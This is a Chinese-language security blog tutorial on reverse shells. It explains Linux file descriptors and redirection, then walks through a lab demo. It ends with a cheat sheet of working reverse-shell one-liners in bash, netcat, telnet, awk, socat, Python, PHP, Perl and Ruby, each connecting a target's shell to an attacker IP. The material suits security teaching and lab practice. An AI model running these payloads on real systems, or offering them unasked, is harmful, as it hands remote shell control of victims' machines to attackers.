反弹shell
在介绍反弹链接的时候先说明什么是正向链接:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。而反弹shell是指攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。本质上是网络概念的客户端与服务端的角色反转。反弹shell简单来说就是通过命令让靶机的shell的控制权交到攻击者的机器中。
可能有人会问:我们都能够在靶机上直接执行命令了,为什么还反弹shell呢?这里有几种情况:
某客户机中了你的网马,但是它在局域网内,你直接连接不了。
它的ip会动态改变,你不能持续控制。
由于防火墙等限制,对方机器只能发送请求,不能接收请求。
靶机执行的命令结果没有回显,无法直接获知运行的状态。
这些情况都可以通过反弹shell来解决。
前置知识
想反弹shell只需要一行或者几行命令,但是这里面涉及到的东西日常比较少用,需要大概了解一下才能弄明白这些命令到底做了什么东西。
文件描述符
Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件,所有执行I/O操作的系统调用都会通过文件描述符。
当Linux启动的时候会默认打开三个文件描述符,分别是:
描述符 | 用途 | stdio流 |
---|---|---|
0 | 标准输入 | stdin |
1 | 标准输出 | stdout |
2 | 标准错误 | stderr |
文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
重定向
重定向主要分为两种(其他复杂的都是从这两种衍生而来的):
- 输入重定向
<
、<<
- 输出重定向
>
、>>
重点:
bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令
如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)
<
是对标准输入 0 重定向 ,>
是对标准输出 1 重定向再强调一下,重定向就是针对文件描述符的操作
输入重定向
格式:(注意[n]与<之间没有空格)
1 | [n]<word |
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果 n 省略就是0(标准输入)
example:
1 | root@ubuntu18:/home/john/Desktop# cat 0<file |
解释: 解析器解析到 <
以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。
输出重定向
格式:
1 | [n]>word |
说明: 将文件描述符 n 重定向到 word 指代的文件(以写的方式打开),如果 n 省略则默认就是 1(标准输出)
example:
1 | root@ubuntu18:/home/john/Desktop# echo hello>file |
标准输出与标准错误输出重定向
格式:
1 | &> word |
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1
1 | root@ubuntu18:/home/john/Desktop# mkdir &> file |
文件描述符的复制
格式:**(这里所有字符之间不要有空格)**
1 | [n]<&[m] |
说明:
这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开,因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符。
重点:
之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子
- cmd > file 2>&1
这个是先把标准输出stdout1
重定向到file文件中,然后把标准错误stderr2
重定向到标准输出所指向的文件中,也就是file。
- cmd 2>&1 >file
这一个是先把标准错误stderr2
重定向到标准输出stdout1
所指向的文件,这里默认是屏幕,然后再把标准输出stdout1
重定向到file文件中。
exec 绑定重定向
格式:
1 | exec [n] </> file/[n] |
上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令
重点:
格式:
1 | [n]<>word |
说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。
example:
1 | root@ubuntu18:/home/john/Desktop# exec 3<>file |
原理
学完了前置知识,接下来就看看反弹shell的原理部分。
实验环境:
靶机(Ubuntu)IP:192.168.91.144
攻击机(Kali)IP:192.168.91.128
首先在攻击机上开启监听端口:
1 | nc -lvp 2333 |
然后再靶机上执行:
1 | bash -i >& /dev/tcp/192.168.91.128/2333 0>&1 |
然后就可以看到攻击机控制了靶机的shell
命令解释:
bash -i
bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别
-i 这个参数表示的是产生交互式的shell
/dev/tcp/ip/port
/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信。
example:
1 | #靶机输入 |
example:
1 | #攻击机输入 |
- 交互重定向
把上述的两个命令组合起来并使用重定向:
1 | bash -i >& /dev/tcp/192.168.91.128/2333 |
这样就把靶机的shell的标准输出和标准错误给重定向到了攻击机上,这时候我们靶机上已经无法显示东西,但是仍然能够输入命令(只是在靶机上看不见),而命令输出的结果在攻击机上显示。
这样还不够,攻击机还需要获得靶机的输入控制权,于是可以在命令的末尾加上把标准输入stdin0
重定向到标准输出或者标准错误输出所指向的文件即可:
1 | bash -i >& /dev/tcp/192.168.91.128/2333 0>&1 |
常见利用语句
Linux
bash
1 | bash -i >& /dev/tcp/192.168.91.128/2333 0>&1 |
文件的读/写打开方式对于文件描述符来讲并没有什么区别
exec
1 | exec 5<>/dev/tcp/192.168.91.128/2333;cat <&5|while read line;do $line >&5 2>&1;done |
解释:
1 | exec 5<>/dev/tcp/192.168.91.128/2333; |
这一句将文件描述符5重定向到了 /dev/tcp/192.168.91.128/2333
并且方式是读写方式,于是我们就能通过文件描述符对这个socket连接进行操作了。
1 | cat <&5|while read line;do $line >&5 2>&1;done |
首先从文件描述符5中读取传过来的命令,通过管道符传到后面的命令,从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。并将操作结果的标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
example:
netcat
nc如果版本是有 -e 选项的话就能够直接反弹shell,出于安全原因,Ubuntu自带的nc是不带这个选项的。
1 | nc -e /bin/sh 192.168.91.128 2333 |
如果没有 -e 选项的话还可以使用:
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.91.128 2333 >/tmp/f |
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
example:
telnet
攻击机上打开两个终端分别执行监听:
1 | nc -lvp 4444 |
靶机中执行:
1 | telnet 192.168.91.128 4444 | /bin/bash | telnet 192.168.91.128 5555 |
从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。
example:
awk
1 | awk 'BEGIN{s="/inet/tcp/0/192.168.91.128/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' |
socat
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.91.128:2333 |
Python
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.91.128',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
PHP
1 | php -r '$sock=fsockopen("192.168.91.128",5555);exec("/bin/sh -i <&3 >&3 2>&3");' |
Perl
1 | perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
Ruby
1 | ruby -rsocket -e'f=TCPSocket.open("192.168.91.128",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
Java
1 | public class Revs { |
注意事项
当我们使用Ubuntu作为服务器,是无法直接通过使用命令执行的函数如system()
等去执行bash
命令,会显示sh: 1: Syntax error: Bad fd number
,这个错误在centos中是不会出现的,这是因为ubuntu从6.10开始,默认使用dash(登录还是用bash),因为dash更快更高效。只要把bash链接到sh即可。
Window
由于把Window作为服务器比较少见,在加上里面很多东西我也没见过,这里贴个链接,以备不时之需。
参考资料
- Post title:反弹shell
- Post author:John_Frod
- Create time:2021-03-29 15:31:07
- Post link:https://keep.xpoet.cn/2021/03/29/反弹shell/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.